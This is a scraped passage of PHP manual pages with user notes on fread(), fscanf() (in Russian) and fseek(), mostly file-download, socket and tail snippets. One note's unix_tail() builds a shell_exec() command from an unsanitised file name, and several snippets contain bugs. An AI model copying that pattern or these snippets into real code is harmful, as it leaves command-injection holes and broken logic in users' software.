        if (!$remotereadfile || ($remotereadfile && $cnt > $seek))
            echo $buffer;

        ob_flush();
        flush();
    }

    $info = stream_get_meta_data($handle);

    $status = fclose($handle);

    if ($info['timed_out'])
        return false;

    if ($retbytes && $status) {
        return $cnt;
    }

    return $status;
}
?>
shocker at shockingsoft dot com 12-Apr-2008 06:22
If you read from a socket connection or any other stream that may delay when responsing but you want to set a timeout you can use stream_set_timeout():

<?php
$f = fsockopen("127.0.0.1", 123);
if ($f)
 {
  fwrite($f, "hello");
  stream_set_timeout($f, 5); //5 seconds read timeout
  if (!fread($f, 5)) echo "Error while reading";
    else echo "Read ok";
  fclose($f);
 }
?>
matt at matt-darby dot com 10-Oct-2007 10:32
I thought I had an issue where fread() would fail on files > 30M in size. I tried a file_get_contents() method with the same results. The issue was not reading the file, but echoing its data back to the browser.

Basically, you need to split up the filedata into manageable chunks before firing it off to the browser:

<?php

$total     = filesize($filepath);
$blocksize = (2 << 20); //2M chunks
$sent      = 0;
$handle    = fopen($filepath, "r");

// Push headers that tell what kind of file is coming down the pike
header('Content-type: '.$content_type);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-length: '.$filesize * 1024);

// Now we need to loop through the file and echo out chunks of file data
// Dumping the whole file fails at > 30M!
while($sent < $total){
    echo fread($handle, $blocksize);
    $sent += $blocksize;
}

exit(0);

?>

Hope this helps someone!
kai at froghh dot de 10-May-2007 07:52
reading from a socket stream can be different to the
behaviour expected, since you have not set
stream_set_blocking to 1.
sample source:
<?php
$fp = fsockopen ($server, $port, $errno, $errstr, $socket_timeout);
$header = '';
do {
    $header.=fread($fp,1);
    $i++;
} while (!preg_match('/\\r\\n\\r\\n$/', $header) && $i < $maxheaderlenth);
preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/', $header,$matches);
$buffer = fread($this->_fp, $matches[1]);
?>

if i.e. the content length is 50000 and the responding server is to slow
(means 50000 are not completely sent when fread is called)
you'll only receive the number of bytes sent by the
responding server at the time fread is called.

fread will not wait for any data to complete the given size.
as described in user notes on stream_set_blocking there
seems to be a bug using stream_set_blocking.
a workaround - well, not the best way - is to read
the response split to 1 byte
instead of
<?php $buffer = fread($this->_fp, $matches[1]); ?>

you'd write
<?php
$buffer = '';
for($i = 0; $i < $matches[1]; $i++){
    $buffer .= fread($this->_fp, 1);
}
?>

it several tests this seems like it works.
aubfre at hotmail dot com 27-Mar-2007 09:20
Changing the value of $length may yield to different download speeds when serving a file from a script.

I was not able to max out my 10mbps connection when 4096 was used. I found out that using 16384 would use all the available bandwidth.

When outputing binary data with fread, do not assume that 4096 or 8192 is the optimal value for you. Do some benchmarks by downloading files through your script.
adamgamble at gmail dot com 20-Sep-2005 08:00
<?php
/*
geoCode($address)
Accepts an address in the form of
999 Geocode Dr. New York, Ny 10108
returns array with lat and lon
*/

function geoCode($address) {

    $gaddress = "http://maps.google.com?q=" . urlencode($address);

    $handle = fopen($gaddress, "r");
    $contents = '';

     while (!feof($handle)) {
         $contents .= fread($handle, 8192);
     }
     fclose($handle);
     ereg('<center lat="([0-9.-]{1,})" lng="([0-9.-]{1,})"/>', $contents, $regs);

     $returnData['lat'] = $regs[1];
     $returnData['lon'] = $regs[2];

     return $returnData;
}

print_r(geoCode("1064 Georgetown ln. Birmingham, Al 35217"));
?>
Richard Dale richard at premiumdata dot n dot e dot t 30-Jun-2005 09:11
If you use any of the above code for downloadinng files, Internet Explorer will change the filename if it has multiple periods in it to something with square brackets.  To work around this, we check to see if the User Agent contains MSIE and rewrite the necessary periods as %2E

<?php
# eg. $filename="setup.abc.exe";
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
    # workaround for IE filename bug with multiple periods / multiple dots in filename
    # that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $iefilename = preg_replace('/\./', '%2e', $filename, substr_count($filename, '.') - 1);
    header("Content-Disposition: attachment; filename=$iefilename" );
} else {
    header("Content-Disposition: attachment; filename=$filename");
}
?>
mrhappy[at]dotgeek.org 07-Apr-2005 07:02
Just a note for anybody trying to implement a php handled download script -

We spent a long time trying to figure out why our code was eating system resources on large files.. Eventually we managed to trace it to output buffering that was being started on every page via an include.. (It was attempting to buffer the entire 600 Megs or whatever size *before* sending data to the client) if you have this problem you may want to check that first and either not start buffering or close that in the usual way :)

Hope that prevents somebody spending hours trying to fix an obscure issue.

Regards :)
dvsoftware at gmail dot com 13-Mar-2005 12:22
I was trying to implement resume support in download script, and i have finnaly succeded. here is the script:

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
  $header='Content-Disposition: attachment; filename='.$filespaces.';';
   header($header );
   header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
   if(isset($_ENV['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_ENV['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 header("Content-Range: $range$size2/$size");
 $new_length=$size2-$range;
 header("Content-Length: $new_length");
/if not, download whole file
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit();
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
?>

EXAMPLE
<?php
dl_file_resume("somefile.mp3");
?>

please write if you find any errors, i have tested this only with mp3 files, but others should be fine
fenris_wolf0 at yahoo dot com 05-Mar-2005 02:59
To make the effects of the latest PHP version changes of the fread function even more explicit:  the new size limitation of fread -regardless of the filesize one specifies,  in the example below 1024 * 1024- means that if one was  simply reading the contents of a text file from a dynamic URL like so:

<?php
  $dp = "http://www.example.com/filename.php";
  $buffer = fopen($dp, 'r');
  if (!$buffer)
    {
      echo("<P>Error: unable to load URL file into $buffer.      Process  aborted.</P>");
      exit();
    }
  $sp = fread($buffer, 1024*1024);
  fclose($buffer);
  highlight_string($sp);
?>

one should from now on use the file_get_contents function, as shown below, to avoid one's text being truncated forcibly.

<?php
  $dp = "http://www.example.com/filename.php";
  if (!$dp)
    {
      echo("<P>Error: unable to load URL file into $dp.  Process aborted.</P>");
      exit();
    }
  $sp = file_get_contents($dp);
  highlight_string($sp);
?>

I thought it couldn't hurt to clarify this detail in order to save time for anyone else who is in the same situation as I was tonight when my ISP abruptly upgraded to the latest version of PHP...    :(

Thank you to every previous contributor to this topic.
m (at) mindplay (dot) dk 16-Jan-2005 12:20
Here's a function for sending a file to the client - it may look more complicated than necessary, but has a number of advantages over simpler file sending functions:

- Works with large files, and uses only an 8KB buffer per transfer.

- Stops transferring if the client is disconnected (unlike many scripts, that continue to read and buffer the entire file, wasting valuable resources) but does not halt the script

- Returns TRUE if transfer was completed, or FALSE if the client was disconnected before completing the download - you'll often need this, so you can log downloads correctly.

- Sends a number of headers, including ones that ensure it's cached for a maximum of 2 hours on any browser/proxy, and "Content-Length" which most people seem to forget.

(tested on Linux (Apache) and Windows (IIS5/6) under PHP4.3.x)

Note that the folder from which protected files will be pulled, is set as a constant in this function (/protected) ... Now here's the function:

<?php
function send_file($name) {
  ob_end_clean();
  $path = "protected/".$name;
  if (!is_file($path) or connection_status()!=0) return(FALSE);
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");
  header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Content-Type: application/octet-stream");
  header("Content-Length: ".(string)(filesize($path)));
  header("Content-Disposition: inline; filename=$name");
  header("Content-Transfer-Encoding: binary\n");
  if ($file = fopen($path, 'rb')) {
    while(!feof($file) and (connection_status()==0)) {
      print(fread($file, 1024*8));
      flush();
    }
    fclose($file);
  }
  return((connection_status()==0) and !connection_aborted());
}
?>

And here's an example of using the function:

<?php
if (!send_file("platinumdemo.zip")) {
die ("file transfer failed");
// either the file transfer was incomplete
// or the file was not found
} else {
// the download was a success
// log, or do whatever else
}
?>

Regards,
Rasmus Schultz
ibis at connect dot ie 01-Dec-2004 02:23
If, like me, you're in the habit of using fopen("http://...") and fread for pulling fairly large remote files, you may find that the upgrade to PHP5 (5.0.2 on Win2000/IIS5) causes fread to top out at about 8035 bytes. PHP5 RC2 with identical php.ini settings did not exhibit this behaviour (I was using this for testing). Irritating for me because I was using simple_xml_load to load the file contents as XML, and the problem initially appeared to be that function.

Solution - swap over to file_get_contents or use the loop suggested on the documentation above (see Warning).
fpinho at hotpop dot com 13-Oct-2004 02:21
After using the suggested function from Rasmus Schultz : mindplay(at)mindplay(dot)dk, I've just noticed that people trying to download big files with a slow connection would get download stopped after exactly 60seconds -> the max execution time set with php.ini.
I suggest using a bigger buffer (1024x1024), or maybe resetting the time limit within the 'while' cicle with:
   set_time_limit(0);

The cicle would go like this:

<?php
   while(!feof($file) and (connection_status()==0)) {
     print(fread($file, 1024*1024));
     set_time_limit(0);
     flush();
   }
?>

Frederico Pinho
webmaster at wildpeaks dot com 14-May-2004 12:32
The following function retrieves a line in a file, regardless of its size, so you won't get an error if the file's size is beyond php's allowed memory limit (the string has to be below however), which is something i was needing for accessing a big log file generated by a webhost. Indexes start at 1 (so $line = 1 means the first line unlike arrays). If the file is small, it would be better to use "file()" however.

<?php
function strpos_count($haystack, $needle, $i = 0) {
    while (strpos($haystack,$needle) !== false) {$haystack = substr($haystack, (strpos($haystack,$needle) + 1)); $i++;}
    return $i;
}
function getLine($file,$line=1){
    $occurence = 0;
    $contents = '';
    $startPos = -1;
    if (!file_exists($file)) return '';
    $fp = @fopen($file, "rb");
    if (!$fp) return '';
    while (!@feof($fp)) {
        $str = @fread($fp, 1024);
        $number_of_occurences = strpos_count($str,"\n");
        if ($number_of_occurences == 0) {if ($start_pos != -1) {$contents .= $str;}}
        else {
            $lastPos = 0;
            for ($i = 0; $i < $number_of_occurences; $i++){
                $pos = strpos($str,"\n", $lastPos);
                $occurence++;
                if ($occurence == $line) {
                    $startPos = $pos;
                    if ($i == $number_of_occurences - 1) {$contents = substr($str, $startPos + 1);}
                } elseif ($occurence == $line + 1) {
                    if ($i == 0) {$contents .= substr($str, 0, $pos);} else {$contents = substr($str, $startPos, $pos - $startPos);}
                    $occurence = 0;
                    break;
                }
                $lastPos = $pos + 1;
            }
        }
    }
    @fclose($fp);
    return $contents;
}
?>
rob at lbox.org 14-Nov-2002 01:28
I spent a while trying to get this to work so I thought I'd share.

Here's how to read a remote binary file using fread.

<?php
$fp = fopen("http://www.example.com/img.jpg", "rb");

if($fp){
 while(!feof($fp)) {
     $img = $img . fread($fp, 1024);
 }
}
?>

This will read the contents of the file into the var $img 1024 bytes at a time.  I used that number because it seemed safe, but you can increment it all you want I guess.

I don't know if everyone but me gets this, but I thought I'd share since I didn't see anything like it out there.
heikki dot korpela at wapit dot com 26-Aug-2000 02:22
Fread is binary-safe IF AND ONLY IF you don't use magic-quotes. If you do, all null bytes will become \0, and you might get surprising results when unpacking.

That is, you would do something like

<?php
set_magic_quotes_runtime(0);
?>

before fread()

and something like

<?php
set_magic_quotes_runtime(get_magic_quotes_gpc()) after.
?>

And, after fread, an unpack would be needed, of course. Surprisingly, pack(), however, does not work quite like in Perl (or perhaps I'm just missing something here) - you can't pack an array directly, but instead you'll have to pack each element seperately to the string:

<?php
foreach ($data as $dec) {
  $data_output .= pack("C*", $dec);
}
?>


Обрабатывает данные из файла в соответствии с форматом

  • « fread
  • fseek »
  • PHP Manual
  • Функции файловой системы
  • Обрабатывает данные из файла в соответствии с форматом

fscanf

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

fscanf — Обрабатывает данные из файла в соответствии с форматом

Описание

fscanf(resource $stream, string $format, mixed &...$vars): array|int|false|null

Функция fscanf() похожа на sscanf(), но берёт данные для обработки из файла, связанного с stream, и интерпретирует их согласно формату format.

Любой пробельный символ в строке формата эквивалентен любому пробельному символу во входящем потоке. Это означает, что даже табуляция (\t) в строке формата может быть сопоставлена одному символу пробела во входящем потоке данных.

Каждый вызов fscanf() читает одну строку из файла.

Список параметров

stream

Указатель (resource) на файл, обычно создаваемый с помощью функции fopen().

format

Интерпретируемый формат для параметра string, который описан в документации функции sprintf() со следующими отличиями:

  • Функция не ориентирована на локализацию.
  • Не поддерживаются значения F, g, G и b.
  • D обозначает десятичное число.
  • i обозначает целое число с определением системы счисления.
  • n обозначает количество символов, обработанных на данный момент.
  • s останавливает чтение на любом символе пробела.
  • * вместо argnum$ подавляет присвоение данной спецификации преобразования.

vars

Необязательные присваиваемые значения.

Возвращаемые значения

Если в функцию переданы только два аргумента, обработанные значения будут возвращены в виде массива. В ином случае, если были переданы необязательные аргументы, функция вернёт количество присвоенных значений. Необязательные аргументы должны быть переданы по ссылке.

Если в format ожидается больше подстрок, чем доступно в string, будет возвращён null. В случае возникновения других ошибок будет возвращено false.

Примеры

Пример #1 Пример использования функции fscanf()

<?php
$handle = fopen("users.txt", "r");
while ($userinfo = fscanf($handle, "%s\t%s\t%s\n")) {
list ($name, $profession, $countrycode) = $userinfo;
//... совершаем какие-либо действия над значениями
}
fclose($handle);
?>

Пример #2 Содержимое файла users.txt

javier  argonaut        pe
hiroshi sculptor        jp
robert  slacker us
luigi   florist it

Смотрите также

  • fread() - Бинарно-безопасное чтение файла
  • fgets() - Читает строку из файла
  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку

User Contributed Notes

hdh265 at 163 dot com 13-Apr-2015 05:19
The use of PHP code in the ACM submission
Here is a sample solution for problem 1001 using PHP:
<?php
while (fscanf(STDIN, "%d%d", $a, $b) == 2) {
    print ($a + $b) . "\n";
}
nico at nicoswd dot com 28-Aug-2013 09:25
If you want to parse a cron file, you may use this pattern:

<?php

while ($cron = fscanf($fp, "%s %s %s %s %s %[^\n]s"))
{

}

?>
arentzen at religion dot dk 30-Sep-2007 02:56
If you want fscanf()to scan one variable in a large number of lines,  e.g an Ipadress in a line with more variables, then use fscanf with explode()
<?
$filename = "somefile.txt";
$fp = fopen($filename, "r") or die ("Error opening file! \n");
$u = explode(" ",$line); // $u is the variable eg. an IPadress
while ($line = fscanf($fp,"%s",$u)) {
if(preg_match("/^$u/",$_SERVER['REMOTE_ADDR'])) {$badipadresss++;} // do something and continue scan
}
?>
Besides, fscanf()is much faster than fgets()
Bertrand dot Lecun at prism dot uvsq dot Fr 30-May-2007 12:48
It would be great to precise in the fscanf documentation
that one call to the function, reads a complete line.
and not just the number of values defined in the format.

If a text file contains 2 lines each containing 4 integer values,
reading the file with 8 fscanf($fd,"%d",$v) doesnt run !
You have to make 2
fscanf($fd,"%d %d %d %d",$v1,$v2,$v3,$v4);

Then 1 fscanf per line.
loco.xxx at gmail dot com 24-Jul-2006 12:46
to include all type of visible chars you should try:

<?php fscanf($file_handler,"%[ -~]"); ?>
worldwideroach at hotmail dot com 14-Jul-2005 09:33
Yet another function to read a file and return a record/string by a delimiter.  It is very much like fgets() with the delimiter being an additional parameter.  Works great across multiple lines.

function fgetd(&$rFile, $sDelim, $iBuffer=1024) {
    $sRecord = '';
    while(!feof($rFile)) {
        $iPos = strpos($sRecord, $sDelim);
        if ($iPos === false) {
            $sRecord .= fread($rFile, $iBuffer);
        } else {
            fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
            return substr($sRecord, 0, $iPos);
        }
    }
    return false;
}
robert at NOSPAM dot NOSPAM 24-Oct-2002 04:08
actually, instead of trying to think of every character that might be in your file, excluding the delimiter would be much easier.

for example, if your delimiter was a comma use:

%[^,]

instead of:

%[a-zA-Z0-9.| ... ]

Just make sure to use %[^,\n] on your last entry so you don't include the newline.
eugene at pro-access dot com 16-Mar-2002 12:39
If you want to read text files in csv format or the like(no matter what character the fields are separated with), you should use fgetcsv() instead. When a text for a field is blank, fscanf() may skip it and fill it with the next text, whereas fgetcsv() correctly regards it as a blank field.
james at zephyr-works dot com 08-Jul-2001 12:29
fscanf works a little retardedly I've found. Instead of using just a plain %s you probably will need to use sets instead. Because it works so screwy compared to C/C++, fscanf does not have the ability to scan ahead in a string and pattern match correctly, so a seemingly perfect function call like:

fscanf($fh, "%s::%s");

With a file like:

user::password

Will not work. When fscanf looks for a string, it will look and stop at nothing except for a whitespace so :: and everything except whitespace is considered part of that string, however you can make it a little smarter by:

fscanf($fh, "%[a-zA-Z0-9,. ]::%[a-zA-Z0-9,. ]" $var1, $var2);

Which tells it that it can only accept a through z A through Z 0 through 9 a comma a period and a whitespace as input to the string, everything else cause it to stop taking in as input and continue parsing the line. This is very useful if you want to get a sentence into the string and you're not sure of exactly how many words to add, etc.
yasuo_ohgaki at hotmail dot com 12-Mar-2001 11:59
For C/C++ programmers.

fscanf() does not work like C/C++, because PHP's fscanf() move file pointer the next line implicitly.


Устанавливает смещение в файловом указателе

  • « fscanf
  • fstat »
  • PHP Manual
  • Функции файловой системы
  • Устанавливает смещение в файловом указателе

fseek

(PHP 4, PHP 5, PHP 7, PHP 8)

fseek — Устанавливает смещение в файловом указателе

Описание

fseek(resource $stream, int $offset, int $whence = SEEK_SET): int

Устанавливает смещение в файле, на который ссылается stream. Новое смещение, измеряемое в байтах от начала файла, получается путём прибавления параметра offset к позиции, указанной в параметре whence.

В общей сложности разрешается указывать смещение за пределами конца файла, если данные потом будут записаны в этой позиции, чтение любой незаписанной области между концом файла и указанной позицией возвратит нулевые байты. Однако, определённые потоки могут не поддерживать это поведение, особенно если у них есть основное хранилище фиксированного размера.

Список параметров

stream

Указатель (resource) на файл, обычно создаваемый с помощью функции fopen().

offset

Смещение.

Для смещения позиции перед концом файла необходимо передать отрицательное значение offset и установить параметр whence в SEEK_END.

whence

Значениями whence являются:

  • SEEK_SET - Установить смещение в offset байт.
  • SEEK_CUR - Установить смещение в текущее положение плюс offset.
  • SEEK_END - Установить смещение в конец файла плюс offset.

Возвращаемые значения

В случае успешного выполнения возвращает 0; в противном случае возвращает -1.

Примеры

Пример #1 Пример использования функции fseek()

<?php

$fp = fopen('somefile.txt', 'r');

// читаем немного данных
$data = fgets($fp, 4096);

// перемещаемся назад к началу файла
// то же самое, что и rewind($fp);
fseek($fp, 0);

?>

Примечания

Замечание:

Если файл открыт в режиме "записи в конец" (a или a+), любые записываемые в файл данные будут записываться в конец, вне зависимости от позиции файла, а результат вызова fseek() будет не определён.

Замечание:

Не все потоки поддерживают смещение указателя. Для потоков, не поддерживающих эту операцию, смещение вперёд осуществляется чтением и отбрасыванием данных, другие формы смещения закончатся ошибкой.

Смотрите также

  • ftell() - Возвращает текущую позицию указателя чтения/записи файла
  • rewind() - Сбрасывает курсор файлового указателя

User Contributed Notes

marin at sagovac dot com 26-Jun-2016 01:33
Seek to a line of code than break from while to improve performance. Seek to specific line using SEEK_SET and get a specific line. If $range is '0' than will show seeked line. If set to '2' it will show current line + 2 lines above + 2 lines below.

Useful for get a content of a file in very huge file to get lines range. To improve performance a while loop breaks from iteration than go for seeking.

I've created a function that read a file and count lines and store into arrays each lines bytes to seek. If maximum specified by `linenum` is set, it will break from while to keep performance than in a new loop function to seek a position in bytes to get a content of file.

    function readFileSeek($source, $linenum = 0, $range = 0)
    {
        $fh = fopen($source, 'r');
        $meta = stream_get_meta_data($fh);

        if (!$meta['seekable']) {
            throw new Exception(sprintf("A source is not seekable: %s", print_r($source, true)));
        }

        $pos = 2;
        $result = null;

        if ($linenum) {
            $minline = $linenum - $range - 1;
            $maxline = $minline+$range+$range;
        }

        $totalLines = 0;
        while (!feof($fh)) {

            $char = fgetc($fh);

            if ($char == "\n" || $char == "\r") {
                ++$totalLines;
            } else {
                $result[$totalLines] = $pos;
            }
            $pos++;

            if ($maxline+1 == $totalLines) {
                // break from while to not read entire file
                break;
            }
        }

        $buffer = '';

        for ($nr=$minline; $nr<=$maxline; $nr++) {

            if (isset($result[$nr])) {

                fseek($fh, $result[$nr], SEEK_SET);

                while (!feof($fh)) {
                    $char = fgetc($fh);

                    if ($char == "\n" || $char == "\r") {
                        $buffer .= $char;
                        break;
                    } else {
                        $buffer .= $char;
                    }
                }

            }
        }

        return $buffer;
    }

Test results (1.3 GB file, 100000000 lines of codes, seek to 300000 line a code):

    string(55) "299998_abc
    299999_abc
    300000_abc
    300001_abc
    300002_abc
    "

    Time: 612 ms, Memory: 20.00Mb

    $ ll -h /tmp/testfile
    -rw-rw-r-- 1  1,3G /tmp/testfile
synnus at gmail dot com 07-Aug-2014 03:54
Write Dummy File 4GB in Php 32bits (X86)
if you want write more GB File (>4GB), use Php(X64) .
this file is created in 0.0041329860687256 second

CreatFileDummy('data_test.txt',4294967296);

FUNCTION CreatFileDummy($file_name,$size) {
// 32bits 4 294 967 296 bytes MAX Size
    $f = fopen($file_name, 'wb');
    if($size >= 1000000000)  {
        $z = ($size / 1000000000);
        if (is_float($z))  {
            $z = round($z,0);
            fseek($f, ( $size - ($z * 1000000000) -1 ), SEEK_END);
            fwrite($f, "\0");
        }
        while(--$z > -1) {
            fseek($f, 999999999, SEEK_END);
            fwrite($f, "\0");
        }
    }
    else {
        fseek($f, $size - 1, SEEK_END);
        fwrite($f, "\0");
    }
    fclose($f);

Return true;
}

Synx
lexica98 at gmail dot com 15-Feb-2014 05:23
Opening the file in a+ mode doesn't work with fseek either, unfortunately. If you want a file created and then want be able to go to any position in the file, you'll have to use append mode when opening the file, then close it, then open it again in r+.
me at php dot net 09-Jul-2013 09:14
how to read BIG files using fseek (above 2GB+, upto any size like 4GB+, 100GB+, 100 terabyes+, any file size, 100 petabytes, max limit is php_float_max ) ?

// seek / set file pointer to 50 GB
my_fseek($fp, floatval(50000000000),1);

function my_fseek($fp,$pos,$first=0) {

// set to 0 pos initially, one-time
if($first) fseek($fp,0,SEEK_SET);

// get pos float value
$pos=floatval($pos);

 // within limits, use normal fseek
if($pos<=PHP_INT_MAX)
  fseek($fp,$pos,SEEK_CUR);
 // out of limits, use recursive fseek
else {
  fseek($fp,PHP_INT_MAX,SEEK_CUR);
  $pos -= PHP_INT_MAX;
  my_fseek($fp,$pos);
}

}

hope this helps.
lorenzo dot stanco at gmail dot com 17-Mar-2013 06:38
I want to give my contribution about the "read last lines from a file" topic. I've done some researches (starting from here, really) and run many tests for different algorithms and scenarios, and came up with this:

What is the best way in PHP to read last lines from a file?
http://stackoverflow.com/a/15025877/995958

In that mini-article I tried to analyze all different methods and their performance over different files.

Hope it helps.
Anonymous 21-Nov-2011 07:43
I needed to stream a txt file (here big xml file) to get nodes blockwise. I couldn't find a shorter way. So i did write this class.

Function: streams a complete file and returns the content between two search strings with their search strings (multi byte safe)

Hope it helps anyone.

PS: It lacks any boolean checks / exception handling for non existing files / read errors.

<?php
/**
 * Reads txt-files blockwise
 * Usage:
    $c_streamFileTxt = new streamFileTxt;
    $_args = array(

        'file' => 'temporary.xml',
        'start_string' => '<Product>',
        'stop_string' => '</Product>',
        'block_size' => '8192'
    );

    $c_streamFileTxt->setArgs($_args);

    while ($txt_block = $c_streamFileTxt->getNextBlock())
    {
        // use $txt_block for something
    }
 */

class streamFileTxt
{
    private $handle;
    private $file;
    private $file_offset;
    private $block;
    private $start_string;
    private $stop_string;
    private $block_size;

    /**
     * Sett class arguments
     * @param array $_args
     */
    public function setArgs($_args)
    {
        $this->file = $_args['file'];
        $this->start_string = $_args['start_string'];
        $this->stop_string = $_args['stop_string'];
        $this->block_size = $_args['block_size'];
    }

    /**
     * Get next textblock within a file
     * @param void
     * @return string $textblock
     */
    public function getNextBlock()
    {
        $this->openFile();

        fseek($this->handle, $this->file_offset);
        $start_string_found = false;
        $stop_string_found = false;
        while (!feof($this->handle))
        {
            $txt_block = fread($this->handle, $this->block_size);

            if (!$start_string_found) // while not start start snippet found
            {
                $strpos = mb_strpos($txt_block, $this->start_string);
                if ($strpos !== false)
                {
                    // cut of first left chunk
                    $txt_block = mb_substr($txt_block, $strpos, $this->block_size);
                    $start_string_found = true;
                }
            }

            if ($start_string_found && !$stop_string_found) // start snipped found, looking for stop snippet
            {
                $strpos = mb_strpos($txt_block, $this->stop_string);
                if ($strpos !== false)
                {
                    $removed_block_size = mb_strlen($txt_block) - $strpos;
                    $txt_block = mb_substr($txt_block, 0, $strpos + mb_strlen($this->stop_string));
                    $stop_string_found = true;
                    $this->setFileOffset($removed_block_size);
                }
            }

            if ($stop_string_found) // stop-snippet found, keep file offset, return
            {
                $this->closeFile();
                return $txt_block;
            }
        }

        $this->closeFile();
        return false;
    }

    /**
     * Set current file offset and consider the removed block size
     * current file position = current file offset - removed block size
     * @param int $removed_block_size
     */
    private function setFileOffset($removed_block_size)
    {
        $this->file_offset = ftell($this->handle) - $removed_block_size;
    }

    /**
     * close current file
     * @param void
     * @return void
     */
    private function openFile()
    {
        $this->handle = fopen($this->file, 'r');
    }

    /**
     * open file
     * @param void
     * @return void
     */
    private function closeFile()
    {
        fclose($this->handle);
    }
}
kavoshgar3 at gmail dot com 28-Oct-2011 09:06
sometimes we want read file from last line to beginning of file.I use the following.
<?php
function read_backward_line($filename, $lines, $revers = false)
{
    $offset = -1;
    $c = '';
    $read = '';
    $i = 0;
    $fp = @fopen($filename, "r");
    while( $lines && fseek($fp, $offset, SEEK_END) >= 0 ) {
        $c = fgetc($fp);
        if($c == "\n" || $c == "\r"){
            $lines--;
            if( $revers ){
                $read[$i] = strrev($read[$i]);
                $i++;
            }
        }
        if( $revers ) $read[$i] .= $c;
        else $read .= $c;
        $offset--;
    }
    fclose ($fp);
    if( $revers ){
        if($read[$i] == "\n" || $read[$i] == "\r")
            array_pop($read);
        else $read[$i] = strrev($read[$i]);
        return implode('',$read);
    }
    return strrev(rtrim($read,"\n\r"));
}
//if $revers=false function return->
//line 1000: i am line of 1000
//line 1001: and i am line of 1001
//line 1002: and i am last line
//but if $revers=true function return->
//line 1002: and i am last line
//line 1001: and i am line of 1001
//line 1000: i am line of 1000
?>
Enjoy! Mail me if it works!  ;-)
Anonymous 18-Mar-2011 06:56
The official docs indicate that not all streams are seekable.
You can try to seek anyway and handle failure:

<?php
if (fseek($stream, $offset, SEEK_CUR) === -1) {
  // whatever
}
?>

Or, you can use the stream_get_meta_data function:
http://php.net/stream_get_meta_data

<?php
function fseekable($stream) {
  $meta = stream_get_meta_data($stream);
  return $meta['seekable'];
}
?>
necudeco at gmail dot com 23-Jul-2010 10:31
This a tail php script example for windows system.

<?php
$n = ( isset($_REQUEST['n']) == true )? $_REQUEST['n']:20;

$offset = -$n * 120;

$rs = fopen('C:/wamp/logs/apache_error.log','r');
if ( $rs === false )
    die("No se pudo abrir el archivo de log");

fseek($rs,$offset,SEEK_END);

fgets($rs);
while(!feof($rs))
{
    $buffer = fgets($rs);
    echo $buffer;
    echo "<hr />";
}

fclose($rs);
?>
steve at studio831 dot com 23-Jul-2009 01:49
Modified @ben's function to work for files larger than PHP_INT_MAX bytes.

<?php
function longTail($file, $numLines = 100)
{
    $fp = fopen($file, "r");
    $chunk = 4096;
    $fs = sprintf("%u", filesize($file));
    $max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);

    for ($len = 0; $len < $max; $len += $chunk) {
        $seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;

        fseek($fp, ($len + $seekSize) * -1, SEEK_END);
        $data = fread($fp, $seekSize) . $data;

        if (substr_count($data, "\n") >= $numLines + 1) {
            preg_match("!(.*?\n){".($numLines)."}$!", $data, $match);
            fclose($fp);
            return $match[0];
        }
    }
    fclose($fp);
    return $data;
}
?>
Tom Pittlik 23-Apr-2009 12:32
The tail example functions below will return a PHP memory limit error when trying to open large files. Since tail is convenient for opening large logs, here is a function that lets you (provided you have permission):

<?php

function unix_tail($lines,$file)
{
    shell_exec("tail -n $lines $file > /tmp/phptail_$file");
    $output = file_get_contents("/tmp/phptail_$file");
    unlink("/tmp/phptail_$file");
    return $output;
}

?>
ben at nullcreations dot net 22-Oct-2008 02:38
easier tail() function for php:

<?php
function tail($file, $num_to_get=10)
{
  $fp = fopen($file, 'r');
  $position = filesize($file);
  fseek($fp, $position-1);
  $chunklen = 4096;
  while($position >= 0)
  {
    $position = $position - $chunklen;
    if ($position < 0) { $chunklen = abs($position); $position=0;}
    fseek($fp, $position);
    $data = fread($fp, $chunklen). $data;
    if (substr_count($data, "\n") >= $num_to_get + 1)
    {
       preg_match("!(.*?\n){".($num_to_get-1)."}$!", $data, $match);
       return $match[0];
    }
  }
  fclose($fp);
  return $data;
}
?>
Anonymous 11-Apr-2008 10:45
To:seeker at example com
Be careful, though.
